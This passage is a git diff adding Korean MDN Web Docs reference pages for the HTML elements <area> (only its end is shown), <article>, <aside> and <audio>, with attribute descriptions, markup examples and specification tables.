+ <dd>관련된 핫 스폿의 모양. The specifications for HTML 5 and HTML 4 define the values <code>rect</code>, which defines a rectangular region; <code>circle</code>, which defines a circular region; <code>poly</code>, which defines a polygon; and <code>default</code>, which indicates the entire region beyond any defined shapes. Many browsers, notably Internet Explorer 4 and higher, support <code>circ</code>, <code>polygon</code>, and <code>rectangle</code> as valid values for <strong>shape</strong>; these values are {{Non-standard_inline}}.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("target")}}</dt>
+ <dd>이 속성은 링크된 리소스가 어디에 표시될지 지정합니다. HTML4에서 이것은 프레임의 이름이나 키워드가 될수 있습니다. HTML5에서는, 브라우징 컨텍스트(탭,윈도우,인라인 프레임)의 이름이나 키워드가 될수 있습니다. 다음 키워드들은 특별한 의미를 가지고 있습니다.
+ <ul>
+ <li><code>_self</code>: 결과를 현재 HTML4 프레임 또는 HTML5 브라우징 컨텍스트에 로드합니다. 이 target 속성이 정의되어있지 않은경우 이 값이 기본값이 됩니다.</li>
+ <li><code>_blank</code>: 결과를 이름없는 새로운 HTML4 윈도우나 HTML5 브라우징 컨텍스트에 로드합니다.</li>
+ <li><code>_parent</code>: 결과를 현재 HTML4 프레임의 부모 프레임셋에 로드하거나 부모 HTML5 브라우징 컨텍스트에 로드합니다. 만약 부모가 없을 경우 _self와 동일하게 여겨집니다.</li>
+ <li><code>_top</code>: HTML4에서는, 다른 모든 프레임을 취소하고 결과를 꽉찬 본래의 윈도우에 로드합니다. HTML5에서는, 결과를 최상위 브라우징 컨텍스트에 로드합니다. 만약 부모가 없다면, 이 옵션은 _self와 같이 행동합니다.</li>
+ </ul>
+ 이 속성은 <strong>href</strong> 속성이 존재할떄만 사용합니다.</dd>
+</dl>
+
+<div class="hidden">
+<h3 id="Deprecated_attributes">Deprecated attributes</h3>
+
+<dl>
+ <dt>{{htmlattrdef("name")}} {{deprecated_inline}}</dt>
+ <dd>Define a names for the clickable area so that it can be scripted by older browsers.</dd>
+ <dt>{{htmlattrdef("nohref")}} {{deprecated_inline}}</dt>
+ <dd>Indicates that no hyperlink exists for the associated area.
+ <div class="note">
+ <p><strong>Note: </strong>Since HTML5, omitting the <code>href</code> attribute is sufficient.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("tabindex")}} {{deprecated_inline}}</dt>
+ <dd>A numeric value specifying the position of the defined area in the browser tabbing order. This attribute is global in HTML5.</dd>
+ <dt>{{htmlattrdef("type")}} {{deprecated_inline}}</dt>
+ <dd>No effect. Browsers ignore it. (The W3C 5.3 fork of the HTML specification defines it as valid, but <a href="https://html.spec.whatwg.org/multipage/#the-area-element">the canonical HTML specification</a> doesn’t, and it has no effect in any user agents.)</dd>
+</dl>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html notranslate">&lt;map name="primary"&gt;
+ &lt;area shape="circle" coords="200,250,25" href="another.htm" /&gt;
+ &lt;area shape="default" nohref /&gt;
+&lt;/map&gt;
+&lt;img usemap="#primary" src="http://placehold.it/350x150" alt="350 x 150 pic"&gt;
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제', 360, 160)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrerpolicy attribute')}}</td>
+ <td>{{Spec2('Referrer Policy')}}</td>
+ <td>Added the <code>referrerpolicy</code> attribute.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'the-map-element.html#the-area-element', '&lt;area&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'embedded-content-0.html#the-area-element', '&lt;area&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/objects.html#h-13.6.1', '&lt;area&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.area")}}</p>
diff --git a/files/ko/web/html/element/article/index.html b/files/ko/web/html/element/article/index.html
new file mode 100644
index 0000000000..6602a7722e
--- /dev/null
+++ b/files/ko/web/html/element/article/index.html
@@ -0,0 +1,137 @@
+---
+title: <article>
+slug: Web/HTML/Element/article
+tags:
+ - Element
+ - HTML
+ - HTML sections
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/article
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;article&gt;</code> 요소</strong>는 문서, 페이지, 애플리케이션, 또는 사이트 안에서 독립적으로 구분해 배포하거나 재사용할 수 있는 구획을 나타냅니다.</span> 사용 예제로 게시판과 블로그 글, 매거진이나 뉴스 기사 등이 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/article.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>하나의 문서가 여러 개의 <code>&lt;article&gt;</code>을 가질 수 있습니다. 예컨대 사용자가 스크롤하면 계속해서 다음 글을 보여주는 블로그의 경우, 각각의 글이 <code>&lt;article&gt;</code> 요소가 되며, 그 안에는 또 여러 개의 {{htmlelement("section")}}이 존재할 수 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><dfn><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC" title="HTML/Content_categories">콘텐츠 카테고리</a></dfn></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠" title="HTML/Content categories#Flow content">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구획_콘텐츠">구획 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#뚜렷한_컨텐츠">뚜렷한 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row"><dfn>가능한 콘텐츠</dfn></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠" title="HTML/Content_categories#Flow_content">플로우 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row"><dfn>태그 생략</dfn></th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row"><dfn>가능한 부모 요소</dfn></th>
+ <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">플로우 콘텐츠</a>를 허용하는 모든 요소.<br>
+ <code>&lt;article&gt;</code> 요소는 {{HTMLElement("address")}}의 후손이 될 수 없음에 주의하세요.</td>
+ </tr>
+ <tr>
+ <th scope="row">암시적 ARIA 역할</th>
+ <td>{{ariarole("article")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>{{ARIARole("application")}}, {{ARIARole("document")}}, {{ARIARole("feed")}}, {{ARIARole("main")}}, {{ARIARole("none")}}, {{ARIARole("presentation")}}, {{ARIARole("region")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<ul>
+ <li>각각의 <code>&lt;article&gt;</code>을 식별할 수단이 필요합니다. 주로 제목({{htmlelement('h1')}}-{{htmlelement('h6')}}) 요소를 <code>&lt;article&gt;</code>의 자식으로 포함하는 방법을 사용합니다.</li>
+ <li><code>&lt;article&gt;</code> 요소가 중첩되어 있을 때, 안쪽에 있는 요소는 바깥쪽에 있는 요소와 관련된 글을 나타냅니다. 예를 들어 블로그 글의 댓글은, 글을 나타내는 <code>&lt;article&gt;</code> 요소 안에 중첩한 <code>&lt;article&gt;</code>로 나타낼 수 있습니다.</li>
+ <li><code>&lt;article&gt;</code> 요소의 작성자 정보를 {{HTMLElement("address")}} 요소를 이용하여 제공할 수 있습니다. 그러나 중첩 <code>&lt;article&gt;</code>에는 적용되지 않습니다.</li>
+ <li><code>&lt;article&gt;</code> 요소의 작성일자와 시간은 {{HTMLElement("time")}} 요소의 {{htmlattrxref("datetime", "time")}} 속성을 이용하여 설명할 수 있습니다. 참고로 {{HTMLElement("time")}} 요소의 {{htmlattrxref("pubdate", "time")}} 속성은 더 이상 {{glossary("W3C")}} {{glossary("HTML5")}} 표준안에 포함되지 않습니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: html notranslate">&lt;article class="film_review"&gt;
+ &lt;header&gt;
+ &lt;h2&gt;Jurassic Park&lt;/h2&gt;
+ &lt;/header&gt;
+ &lt;section class="main_review"&gt;
+ &lt;p&gt;Dinos were great!&lt;/p&gt;
+ &lt;/section&gt;
+ &lt;section class="user_reviews"&gt;
+ &lt;article class="user_review"&gt;
+ &lt;p&gt;Way too scary for me.&lt;/p&gt;
+ &lt;footer&gt;
+ &lt;p&gt;
+ Posted on &lt;time datetime="2015-05-16 19:00"&gt;May 16&lt;/time&gt; by Lisa.
+ &lt;/p&gt;
+ &lt;/footer&gt;
+ &lt;/article&gt;
+ &lt;article class="user_review"&gt;
+ &lt;p&gt;I agree, dinos are my favorite.&lt;/p&gt;
+ &lt;footer&gt;
+ &lt;p&gt;
+ Posted on &lt;time datetime="2015-05-17 19:00"&gt;May 17&lt;/time&gt; by Tom.
+ &lt;/p&gt;
+ &lt;/footer&gt;
+ &lt;/article&gt;
+ &lt;/section&gt;
+ &lt;footer&gt;
+ &lt;p&gt;
+ Posted on &lt;time datetime="2015-05-15 19:00"&gt;May 15&lt;/time&gt; by Staff.
+ &lt;/p&gt;
+ &lt;/footer&gt;
+&lt;/article&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-article-element', '&lt;article&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', 'sections.html#the-article-element', '&lt;article&gt;')}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'sections.html#the-article-element', '&lt;article&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.article")}}</p>
diff --git a/files/ko/web/html/element/aside/index.html b/files/ko/web/html/element/aside/index.html
new file mode 100644
index 0000000000..416f1d5edc
--- /dev/null
+++ b/files/ko/web/html/element/aside/index.html
@@ -0,0 +1,122 @@
+---
+title: '<aside>: 별도 구획 요소'
+slug: Web/HTML/Element/aside
+tags:
+ - Element
+ - HTML
+ - HTML sections
+ - HTML5
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/aside
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;aside&gt;</code> 요소</strong>는 문서의 주요 내용과 간접적으로만 연관된 부분을 나타냅니다. 주로 사이드바 혹은 콜아웃 박스로 표현합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/aside.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구획_콘텐츠">구획 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#뚜렷한_컨텐츠">뚜렷한 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">플로우 콘텐츠</a>를 허용하는 모든 요소.<br>
+ <code>&lt;aside&gt;</code> 요소는 {{HTMLElement("address")}}의 후손이 될 수 없음에 주의하세요.</td>
+ </tr>
+ <tr>
+ <th scope="row">암시적 ARIA 역할</th>
+ <td><code><a href="/ko/docs/Web/Accessibility/ARIA/Roles/Complementary_role">complementary</a></code></td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 요소</th>
+ <td>{{ARIARole("feed")}}, {{ariarole("none")}}, {{ARIARole("note")}}, {{ARIARole("presentation")}}, {{ARIARole("region")}}, {{ARIARole("search")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<ul>
+ <li>괄호에 묶인 텍스트라도 문서의 주요 플로우에 포함되어야 하므로 <code>&lt;aside&gt;</code>로 나타내선 안됩니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="&lt;aside>_사용하기"><code>&lt;aside&gt;</code> 사용하기</h3>
+
+<p>다음 예제는 글 내의 문단을 <code>&lt;aside&gt;</code>로 표시합니다. 해당 문단은 글의 주제와 간접적으로만 연결되어 있습니다.</p>
+
+<pre class="brush: html">&lt;article&gt;
+ &lt;p&gt;
+ 디즈니 만화영화 &lt;em&gt;인어 공주&lt;/em&gt;는
+ 1989년 처음 개봉했습니다.
+ &lt;/p&gt;
+ &lt;aside&gt;
+ 인어 공주는 첫 개봉 당시 8700만불의 흥행을 기록했습니다.
+ &lt;/aside&gt;
+ &lt;p&gt;
+ 영화에 대한 정보...
+ &lt;/p&gt;
+&lt;/article&gt;</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'sections.html#the-aside-element', '&lt;aside&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'sections.html#the-aside-element', '&lt;aside&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.aside")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/HTML/HTML5_문서의_섹션과_윤곽">HTML 구획과 개요 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/html/element/audio/index.html b/files/ko/web/html/element/audio/index.html
new file mode 100644
index 0000000000..57056b3230
--- /dev/null
+++ b/files/ko/web/html/element/audio/index.html
@@ -0,0 +1,417 @@
+---
+title: <audio>
+slug: Web/HTML/Element/audio
+tags:
+ - Element
+ - HTML
+ - HTML embedded content
+ - HTML5
+ - Media
+ - Multimedia
+ - Reference
+ - Web
+ - 소리
+ - 오디오
+translation_of: Web/HTML/Element/audio
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;audio&gt;</code> 요소</strong>는 문서에 소리 콘텐츠를 포함할 때 사용합니다.</span> <code>src</code> 특성 또는 {{htmlelement("source")}} 요소를 사용해 한 개 이상의 오디오 소스를 지정할 수 있으며, 다수를 지정한 경우 가장 적절한 소스를 브라우저가 고릅니다. {{domxref("MediaStream")}}을 사용하면 미디어 스트림을 바라볼 수도 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/audio.html","tabbed-standard")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("autoplay")}}</dt>
+ <dd>지정한 경우, 전체 오디오 파일의 다운로드를 기다리지 않고 가능한 빠른 시점에 재생을 시작합니다.
+ <div class="note"><strong>참고</strong>: 오디오 및 오디오를 가진 비디오를 자동으로 재생하는 사이트는 사용자 경험에 악영향을 끼칠 수 있으므로 피해야 합니다. 반드시 자동 재생을 제공해야 한다면 사용자의 명시적인 동의를 얻어야 하도록 해야 합니다. 그러나, 미디어 소스가 사용자의 선택에 의해 나중에 정해지는 경우라면 자동 재생이 유용할 수 있습니다. <a href="/ko/docs/Web/Media/Autoplay_guide">자동 재생 안내서</a>를 방문하고 추가 정보와 적절한 사용법을 알아보세요.</div>
+ </dd>
+ <dt>{{htmlattrdef("controls")}}</dt>
+ <dd>지정한 경우 오디오 재생, 볼륨, 탐색, 일시 정지 컨트롤을 브라우저에서 제공합니다.</dd>
+ <dt>{{htmlattrdef("crossorigin")}}</dt>
+ <dd>CORS를 사용해 지정한 오디오 파일을 가져올지 나타내는 열거형 특성. <a href="/ko/docs/Web/HTML/CORS_enabled_image">교차 출처 활성화 리소스</a>는 {{HTMLElement("canvas")}} 요소에 사용해도 캔버스를 "오염"시키지 않습니다. 가능한 값은 다음과 같습니다.
+ <dl>
+ <dt><code>anonymous</code></dt>
+ <dd>자격 증명 없이 교차 출처 요청을 전송합니다. 즉, <code>Origin:</code> HTTP 헤더를 쿠키, X.509 인증서, HTTP Basic 인증 없이 전송합니다. 서버에서 <code>Access-Control-Allow-Origin:</code> HTTP 헤더를 지정하지 않음으로써 요청 출처 사이트에 자격 증명을 보내지 않는다면 이미지는 "오염"되고, 사용처가 제한됩니다.</dd>
+ <dt><code>use-credentials</code></dt>
+ <dd>자격 증명과 함께 교차 출처 요청을 전송합니다. 즉, <code>Origin:</code> HTTP 헤더를 쿠키, X 509 인증서, 또는 HTTP Basic 이증과 함께 전송합니다. 서버에서 <code>Access-Control-Allow-Origin:</code> HTTP 헤더를 통한 자격 증명을 요청 출처 사이트에 보내지 않는다면 이미지는 "오염"되고, 사용처가 제한됩니다.</dd>
+ </dl>
+ 특성이 존재하지 않으면 리소스를 CORS 요청 없이(<code>Origin:</code> HTTP 헤더 없이) 가져오므로, {{htmlelement("canvas")}}를 오염시키게 됩니다. 유효하지 않은 값의 경우 anonymous 키워드를 사용한 것으로 간주합니다.</dd>
+ <dt>{{htmlattrdef("currentTime")}}</dt>
+ <dd>
+ <p>Reading <code>currentTime</code> returns a double-precision floating-point value indicating the current playback position, in seconds, of the audio. If the audio's metadata isn't available yet—thereby preventing you from knowing the media's start time or duration—<code>currentTime</code> instead indicates, and can be used to change, the time at which playback will begin. Otherwise, setting <code>currentTime</code> sets the current playback position to the given time and seeks the media to that position if the media is currently loaded.</p>
+
+ <p>If the audio is being streamed, it's possible that the {{Glossary("user agent")}} may not be able to obtain some parts of the resource if that data has expired from the media buffer. Other audio may have a media timeline that doesn't start at 0 seconds, so setting <code>currentTime</code> to a time before that would fail. For example, if the audio's media timeline starts at 12 hours, setting <code>currentTime</code> to 3600 would be an attempt to set the current playback position well before the beginning of the media, and would fail. The {{domxref("HTMLMediaElement.getStartDate", "getStartDate()")}} method can be used to determine the beginning point of the media timeline's reference frame.</p>
+ </dd>
+ <dt>{{htmlattrdef("disableRemotePlayback")}} {{experimental_inline}}</dt>
+ <dd>A Boolean attribute used to disable the capability of remote playback in devices that are attached using wired (HDMI, DVI, etc.) and wireless technologies (Miracast, Chromecast, DLNA, AirPlay, etc). See <a href="https://www.w3.org/TR/remote-playback/#the-disableremoteplayback-attribute">this proposed specification</a> for more information.
+ <p class="note">In Safari, you can use <a href="https://developer.apple.com/library/archive/documentation/AudioVideo/Conceptual/AirPlayGuide/OptingInorOutofAirPlay/OptingInorOutofAirPlay.html"><code>x-webkit-airplay="deny"</code></a> as a fallback.</p>
+ </dd>
+ <dt>{{htmlattrdef("duration")}} {{ReadOnlyInline}}</dt>
+ <dd>A double-precision floating-point value which indicates the duration (total length) of the audio in seconds, on the media's timeline. If no media is present on the element, or the media is not valid, the returned value is <code>NaN</code>. If the media has no known end (such as for live streams of unknown duration, web radio, media incoming from <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a>, and so forth), this value is <code>+Infinity</code>.</dd>
+ <dt>{{htmlattrdef("loop")}}</dt>
+ <dd>A Boolean attribute: if specified, the audio player will automatically seek back to the start upon reaching the end of the audio.</dd>
+ <dt>{{htmlattrdef("muted")}}</dt>
+ <dd>A Boolean attribute that indicates whether the audio will be initially silenced. Its default value is <code>false</code>.</dd>
+ <dt>{{htmlattrdef("preload")}}</dt>
+ <dd>This enumerated attribute is intended to provide a hint to the browser about what the author thinks will lead to the best user experience. It may have one of the following values:
+ <ul>
+ <li><code>none</code>: Indicates that the audio should not be preloaded.</li>
+ <li><code>metadata</code>: Indicates that only audio metadata (e.g. length) is fetched.</li>
+ <li><code>auto</code>: Indicates that the whole audio file can be downloaded, even if the user is not expected to use it.</li>
+ <li><em>empty string</em>: A synonym of the <code>auto</code> value.</li>
+ </ul>
+
+ <p>The default value is different for each browser. The spec advises it to be set to <code>metadata</code>.</p>
+
+ <div class="note"><strong>Usage notes:</strong>
+
+ <ul>
+ <li>The <code>autoplay</code> attribute has precedence over <code>preload</code>. If <code>autoplay</code> is specified, the browser would obviously need to start downloading the audio for playback.</li>
+ <li>The browser is not forced by the specification to follow the value of this attribute; it is a mere hint.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>The URL of the audio to embed. This is subject to <a href="/en-US/docs/HTTP_access_control">HTTP access controls</a>. This is optional; you may instead use the {{htmlelement("source")}} element within the audio block to specify the audio to embed.</dd>
+</dl>
+
+<p>Time offsets are specified as float values indicating the number of seconds to offset.</p>
+
+<div class="note"><strong>Note:</strong> The time offset value definition has not yet been completed in the HTML5 specification and is subject to change.</div>
+
+<h2 id="이벤트">이벤트</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">이벤트 이름</th>
+ <th scope="col">발생 조건</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{Event("audioprocess")}}</td>
+ <td>The input buffer of a {{DOMxRef("ScriptProcessorNode")}} is ready to be processed.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLMediaElement.canplay_event", 'canplay')}}</td>
+ <td>The browser can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLMediaElement.canplaythrough_event", 'canplaythrough')}}</td>
+ <td>The browser estimates it can play the media up to its end without stopping for content buffering.</td>
+ </tr>
+ <tr>
+ <td>{{Event("complete")}}</td>
+ <td>The rendering of an {{DOMxRef("OfflineAudioContext")}} is terminated.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLMediaElement.durationchange_event", 'durationchange')}}</td>
+ <td>The <code>duration</code> attribute has been updated.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLMediaElement.emptied_event", 'emptied')}}</td>
+ <td>The media has become empty; for example, this event is sent if the media has already been loaded (or partially loaded), and the <a href="/en-US/docs/XPCOM_Interface_Reference/NsIDOMHTMLMediaElement" rel="internal"><code>load()</code></a> method is called to reload it.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLMediaElement.ended_event", 'ended')}}</td>
+ <td>Playback has stopped because the end of the media was reached.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLMediaElement.loadeddata_event", 'loadeddata')}}</td>
+ <td>The first frame of the media has finished loading.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLMediaElement.loadedmetadata_event", 'loadedmetadata')}}</td>
+ <td>The metadata has been loaded.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLMediaElement.pause_event", 'pause')}}</td>
+ <td>Playback has been paused.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLMediaElement.play_event", 'play')}}</td>
+ <td>Playback has begun.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLMediaElement.playing_event", 'playing ')}}</td>
+ <td>Playback is ready to start after having been paused or delayed due to lack of data.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLMediaElement.ratechange_event", 'ratechange')}}</td>
+ <td>The playback rate has changed.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLMediaElement.seeked_event", 'seeked')}}</td>
+ <td>A <em>seek</em> operation completed.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLMediaElement.seeking_event", 'seeking')}}</td>
+ <td>A <em>seek</em> operation began.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLMediaElement.stalled_event", 'stalled')}}</td>
+ <td>The user agent is trying to fetch media data, but data is unexpectedly not forthcoming.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLMediaElement.suspend_event", 'suspend')}}</td>
+ <td>Media data loading has been suspended.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLMediaElement.timeupdate_event", 'timeupdate')}}</td>
+ <td>The time indicated by the <code>currentTime</code> attribute has been updated.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLMediaElement.volumechange_event", 'volumechange')}}</td>
+ <td>The volume has changed.</td>
+ </tr>
+ <tr>
+ <td>{{domxref("HTMLMediaElement.waiting_event", 'waiting')}}</td>
+ <td>Playback has stopped because of a temporary lack of data</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p>Browsers don't all support the same <a href="/en-US/docs/Web/Media/Formats/Containers">file types</a> and <a href="/en-US/docs/Web/Media/Formats/Audio_codecs">audio codecs</a>; you can provide multiple sources inside nested {{htmlelement("source")}} elements, and the browser will then use the first one it understands:</p>
+
+<pre class="brush: html">&lt;audio controls&gt;
+ &lt;source src="myAudio.mp3" type="audio/mpeg"&gt;
+ &lt;source src="myAudio.ogg" type="audio/ogg"&gt;
+ &lt;p&gt;Your browser doesn't support HTML5 audio. Here is
+ a &lt;a href="myAudio.mp4"&gt;link to the audio&lt;/a&gt; instead.&lt;/p&gt;
+&lt;/audio&gt;</pre>
+
+<p>We offer a substantive and thorough <a href="/en-US/docs/Web/Media/Formats">guide to media file types</a> and the <a href="/en-US/docs/Web/Media/Formats/Audio_codecs">audio codecs that can be used within them</a>. Also available is <a href="/en-US/docs/Web/Media/Formats/Video_codecs">a guide to the codecs supported for video</a>.</p>
+
+<p>Other usage notes:</p>
+
+<ul>
+ <li>If you don't specify the <code>controls</code> attribute, the audio player won't include the browser's default controls. You can, however, create your own custom controls using JavaScript and the {{domxref("HTMLMediaElement")}} API.</li>
+ <li>To allow precise control over your audio content, <code>HTMLMediaElement</code>s fire many different <a href="/en-US/docs/Web/Guide/Events/Media_events">events</a>. This also provides a way to monitor the audio's fetching process so you can watch for errors or detect when enough is available to begin to play or manipulate it.</li>
+ <li>You can also use the <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a> to directly generate and manipulate audio streams from JavaScript code rather than streaming pre-existing audio files.</li>
+ <li><code>&lt;audio&gt;</code> elements can't have subtitles or captions associated with them in the same way that <code>&lt;video&gt;</code> elements can. See <a href="https://www.iandevlin.com/blog/2015/12/html5/webvtt-and-audio">WebVTT and Audio</a> by Ian Devlin for some useful information and workarounds.</li>
+</ul>
+
+<p>A good general source of information on using HTML <code>&lt;audio&gt;</code> is the <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Video and audio content</a> beginner's tutorial.</p>
+
+<h3 id="Styling_with_CSS">Styling with CSS</h3>
+
